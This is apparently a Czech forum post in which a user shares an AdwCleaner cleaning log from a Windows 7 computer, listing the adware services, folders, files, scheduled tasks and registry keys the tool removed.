[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [BCU]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [mobilegeni daemon]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\ForeceRemove
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Internet Explorer\SEARCHSCOPES\IELNKSRCH
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MobogenieAdd
[-] Hodnota smazána: HKCU\Environment [SNF]
[-] Hodnota smazána: HKCU\Environment [SNP]
[#] Klíč smazán po restartu: HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\EVENTLOG\APPLICATION\Application Hosting
[#] Klíč smazán po restartu: HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SEARCHSCOPES\IELNKSRCH
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKLM\SOFTWARE\CLASSES\APPID\56BF5154-0B48-4ADB-902A-6C8B12E270D9
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [WinSAPSvc]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [Kitty]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [BIT]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [3DM]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION [YeaDesktop.exe]
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot
***** [ Prohlížeče ] *****
*************************
:: "Tracing" klíče smazány
:: Winsock nastavení vyčištěno
*************************
C:\AdwCleaner\AdwCleaner[C0].txt - [34288 Bajty] - [03/07/2017 10:38:30]
C:\AdwCleaner\AdwCleaner[R0].txt - [61425 Bajty] - [29/01/2014 16:23:02]
C:\AdwCleaner\AdwCleaner[R1].txt - [3725 Bajty] - [31/01/2014 11:24:17]
C:\AdwCleaner\AdwCleaner[R2].txt - [16623 Bajty] - [23/04/2015 21:05:28]
C:\AdwCleaner\AdwCleaner[S0].txt - [62509 Bajty] - [29/01/2014 16:24:54]
C:\AdwCleaner\AdwCleaner[S1].txt - [3798 Bajty] - [31/01/2014 11:25:34]
C:\AdwCleaner\AdwCleaner[S2].txt - [16054 Bajty] - [23/04/2015 21:23:31]
C:\AdwCleaner\AdwCleaner[S3].txt - [32507 Bajty] - [03/07/2017 10:12:39]
########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [34878 Bajty] ##########
nakonec se mi povedla provést kontrola. Přikládám log.
# AdwCleaner v6.047 - Log vytvořen 03/07/2017 v 10:38:30
# Aktualizováno dne 19/05/2017 z Malwarebytes
# Databáze : 2017-06-29.3 [Server]
# Operační systém : Windows 7 Home Premium Service Pack 1 (X64)
# Uživatelské jméno : Uzivatel - UZIVATEL-PC
# Spuštěno z : C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
# Mod: Čištění
# Podpora : https://www.malwarebytes.com/support
***** [ Služby ] *****
[-] Služba smazána: BCUService
[-] Služba smazána: iSafeKrnlMon
[-] Služba smazána: FirefoxU
[-] Služba smazána: Nettrans
[-] Služba smazána: WinSAPSvc
[-] Služba smazána: ed2kidle
[-] Služba smazána: AMD
[-] Služba smazána: Kitty
[-] Služba smazána: AppleSrv
[-] Služba smazána: BIT
[-] Služba smazána: 3DM
[-] Služba smazána: WinAppSvr
[-] Služba smazána: glory
***** [ Složky ] *****
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\genienext
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Mobogenie
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\AdvinstAnalytics
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Hipmy
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\SNARER
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\ANSARE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\3DM
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\background_fault
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Eggper
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\CWASRE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\CSHMDR
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\terana
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Baglook
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\snare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Canrain
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Browser Tab Search by Ask
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\newnext.me
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\browser tab search by ask
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\WinSAPSvc
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Microleaves
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\BrowserModule
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\BROWSERMODULE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Kyubey
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\UCChannel
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\SNARER
[-] Složka smazána: C:\Cosusp
[-] Složka smazána: C:\Alitkojck
[-] Složka smazána: C:\Insist
[-] Složka smazána: C:\Pipisy
[-] Složka smazána: C:\Stuvatybugtain
[-] Složka smazána: C:\ProgramData\apn
[-] Složka smazána: C:\ProgramData\SafetyNut
[-] Složka smazána: C:\ProgramData\Microleaves
[-] Složka smazána: C:\ProgramData\ICQ\ICQNewTab
[-] Složka smazána: C:\ProgramData\PrefsSecure
[#] Složka smazána po restartu: C:\ProgramData\Application Data\apn
[#] Složka smazána po restartu: C:\ProgramData\Application Data\SafetyNut
[#] Složka smazána po restartu: C:\ProgramData\Application Data\Microleaves
[#] Složka smazána po restartu: C:\ProgramData\Application Data\ICQ\ICQNewTab
[#] Složka smazána po restartu: C:\ProgramData\Application Data\PrefsSecure
[-] Složka smazána: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Lightspark 0.5.3-git
[-] Složka smazána: C:\Users\Public\Documents\XMUpdate
[-] Složka smazána: C:\Program Files (x86)\AmiExt
[-] Složka smazána: C:\Program Files (x86)\AVG\AVG10\Toolbar
[-] Složka smazána: C:\Program Files (x86)\DeviceVM
[-] Složka smazána: C:\Program Files (x86)\Lightspark 0.5.3-git
[-] Složka smazána: C:\Program Files (x86)\sitefinder
[-] Složka smazána: C:\Program Files (x86)\BikaQRss
[-] Složka smazána: C:\Program Files (x86)\deskapp
[-] Složka smazána: C:\Program Files (x86)\AlphaGo
[-] Složka smazána: C:\Program Files (x86)\Baglook
[-] Složka smazána: C:\Program Files (x86)\pchandller
[-] Složka smazána: C:\Program Files (x86)\AVBoost
[-] Složka smazána: C:\Program Files (x86)\Default Company Name
[-] Složka smazána: C:\Windows\Video Converter
[-] Složka smazána: C:\Windows\TEMP\apn
[-] Složka smazána: C:\Windows\TEMP\Smartbar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Application Updater
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\AVG Secure Search
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\AVG Security Toolbar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\BitTorrentBar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\BS_Player
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Conduit
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\ConduitEngine
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\PriceGong
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Toolbar4
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\browsers
[-] Složka smazána: C:\Program Files (x86)\Firefox
[-] Složka smazána: C:\Windows\SysWOW64\SSL
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\SPI
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Firefox
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Firefox
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\clean
[-] Složka smazána: C:\UPDATE\PSGO
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\SNARE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Kitty
[-] Složka smazána: C:\Windows\Update\psgo
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\BrowserModule
[-] Složka smazána: C:\ProgramData\BIT
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\background_fault
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\clean
[-] Složka smazána: C:\Program Files (x86)\MK
[#] Složka smazána po restartu: C:\Insist
[#] Složka smazána po restartu: C:\Cosusp
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\glory
[-] Složka smazána: C:\Program Files (x86)\BJBMD
[#] Složka smazána po restartu: C:\Pipisy
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\..\Roaming\Firefox\Firefox\naweriweentcofise
***** [ Soubory ] *****
[-] Soubor smazán: C:\Users\Uzivatel\appdata\local\installationconfiguration.xml
[-] Soubor smazán: C:\Windows\SysNative\log\iSafeKrnlCall.log
[-] Soubor smazán: C:\Windows\SysNative\drivers\iSafeKrnlBoot.sys
[-] Soubor smazán: C:\Windows\SysNative\drivers\iSafeNetFilter.sys
[-] Soubor smazán: C:\Windows\AppPatch\Custom\{8a4d5a43-c64a-45ab-bdf4-804fe18ceafd}.sdb
[-] Soubor smazán: C:\Windows\AppPatch\Custom\Custom64\{cf2797aa-b7ec-e311-8ed9-005056c00008}.sdb
[-] Soubor smazán: C:\Windows\TEMP\YeapUserInfo.ini
[#] Soubor smazán: C:\Users\Uzivatel\AppData\Roaming\Browsers\firefox.bat.exe
[-] Soubor smazán: C:\Users\Public\Documents\temp.dat
[-] Soubor smazán: C:\Users\Public\Documents\report.dat
***** [ DLL ] *****
***** [ WMI ] *****
***** [ Zástupci ] *****
***** [ Naplánované úlohy ] *****
[-] Úloha smazána: Qadither
[-] Úloha smazána: Milimili
[-] Úloha smazána: Windows-PG
***** [ Registry ] *****
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\services\isafekrnlmon
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\services\bcuservice
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\services\ED2KIDLE
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{5647e8d1-5f6d-4921-80d7-a6e84ffc989d}
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Application Hosting
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Application Hosting
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\WinSnare
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\WinSnare
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARER
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARER
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARE
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARE
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\ANSARE
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\ANSARE
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\terana
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\terana
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\glory
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\glory
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\snare
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\snare
[-] Klíč smazán: HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook
[-] Klíč smazán: HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\PCSuiteContactsView
[-] Klíč smazán: HKLM\SOFTWARE\Classes\PCSuiteMessagesView
[-] Klíč smazán: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[-] Klíč smazán: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.BrowserWndAPI
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.BrowserWndAPI.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.PugiObj
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.PugiObj.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\PCSuiteContactsView
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\PCSuiteMessagesView
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.BrowserWndAPI
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.BrowserWndAPI.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.PugiObj
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.PugiObj.1
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration\{CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{9BB812EA-6A11-4F94-AE32-DB3FD45EC496}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{0C1284BA-4F3A-41C6-94B5-77446F5948A9}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{3CCC052E-BDEE-408A-BEA7-90914EF2964B}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{61F47056-E400-43D3-AF1E-AB7DFFD4C4AD}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{63EDCDD3-8AFC-4358-A90F-F7FB8F5C64FF}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{BD5843ED-13C4-4EFF-ACE9-56CEE22BC087}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{BC86E1AB-EDA5-4059-938F-CE307B0C6F0A}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{5C6B193D-C4D0-4A0C-8509-8EA566380A7C}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{D01C1E11-ED7A-4791-8408-E63EECDA48FF}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{FA7B2795-C0C8-4A58-8672-3F8D80CC0270}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{47A1DF02-BCE4-40C3-AE47-E3EA09A65E4A}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{66B51873-B53D-42EC-BC1A-862EB4DB041D}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{77AA6435-2488-4A94-9FE5-49519DD2ED9B}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{BDB0F124-48E8-43A5-A263-45A7093CF058}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{30F9B915-B755-4826-820B-08FBA6BD249D}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{32B29DF0-2237-4370-9A29-37CEBB730E9B}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{338B4DFE-2E2C-4338-9E41-E176D497299E}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{855F3B16-6D32-4FE6-8A56-BBB695989046}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{F3FEE66E-E034-436A-86E4-9690573BEE8A}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FCBCCB87-9224-4B8D-B117-F56D924BEB18}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{30F9B915-B755-4826-820B-08FBA6BD249D}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{32B29DF0-2237-4370-9A29-37CEBB730E9B}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{338B4DFE-2E2C-4338-9E41-E176D497299E}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{855F3B16-6D32-4FE6-8A56-BBB695989046}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{F3FEE66E-E034-436A-86E4-9690573BEE8A}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FCBCCB87-9224-4B8D-B117-F56D924BEB18}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{A40DC6C5-79D0-4CA8-A185-8FF989AF1115}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{30F9B915-B755-4826-820B-08FBA6BD249D}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{32B29DF0-2237-4370-9A29-37CEBB730E9B}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{338B4DFE-2E2C-4338-9E41-E176D497299E}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\URLSearchHooks [{855F3B16-6D32-4FE6-8A56-BBB695989046}]
[-] Hodnota smazána: HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks [{BC86E1AB-EDA5-4059-938F-CE307B0C6F0A}]
[-] Klíč smazán: HKU\.DEFAULT\Software\AskPartnerNetwork
[-] Klíč smazán: HKU\.DEFAULT\Software\AVG Secure Search
[-] Klíč smazán: HKU\.DEFAULT\Software\Conduit
[-] Klíč smazán: HKU\.DEFAULT\Software\ecb`nl
[-] Klíč smazán: HKU\.DEFAULT\Software\Auslogics
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Toolbar
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\AskToolbar
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\Conduit
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\conduitEngine
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\PriceGong
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\Search Settings
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\AmiExt
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Conduit
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Installer
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SafetyNut
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Softonic
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\System Healer
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Amigo
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SAFETYNUT
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\MICROSOFT\wewewe
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\WinSnare
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\PopWnd
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\deskapp
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Hotspot
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Speedownloader0099
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\YeaDesktop
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Baglook
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SweetIM
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AskPartnerNetwork
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AVG Secure Search
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\Conduit
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\ecb`nl
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\Auslogics
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Toolbar
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\AskToolbar
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\Conduit
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\conduitEngine
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\PriceGong
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\Search Settings
[#] Klíč smazán po restartu: HKCU\Software\AmiExt
[#] Klíč smazán po restartu: HKCU\Software\Conduit
[#] Klíč smazán po restartu: HKCU\Software\Installer
[#] Klíč smazán po restartu: HKCU\Software\SafetyNut
[#] Klíč smazán po restartu: HKCU\Software\Softonic
[#] Klíč smazán po restartu: HKCU\Software\System Healer
[#] Klíč smazán po restartu: HKCU\Software\Amigo
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKCU\Software\SAFETYNUT
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Klíč smazán po restartu: HKCU\Software\MICROSOFT\wewewe
[#] Klíč smazán po restartu: HKCU\Software\WinSnare
[#] Klíč smazán po restartu: HKCU\Software\PopWnd
[#] Klíč smazán po restartu: HKCU\Software\deskapp
[#] Klíč smazán po restartu: HKCU\Software\Hotspot
[#] Klíč smazán po restartu: HKCU\Software\Speedownloader0099
[#] Klíč smazán po restartu: HKCU\Software\YeaDesktop
[#] Klíč smazán po restartu: HKCU\Software\Baglook
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKLM\SOFTWARE\AmiExt
[-] Klíč smazán: HKLM\SOFTWARE\Conduit
[-] Klíč smazán: HKLM\SOFTWARE\Flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Lightspark Team
[-] Klíč smazán: HKLM\SOFTWARE\SafetyNut
[-] Klíč smazán: HKLM\SOFTWARE\SiteFinder
[-] Klíč smazán: HKLM\SOFTWARE\Trymedia Systems
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKLM\SOFTWARE\SAFETYNUT
[#] Klíč smazán po restartu: HKLM\SOFTWARE\flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\ScreenShot
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKLM\SOFTWARE\ecb`nl
[-] Klíč smazán: HKLM\SOFTWARE\amule-custom
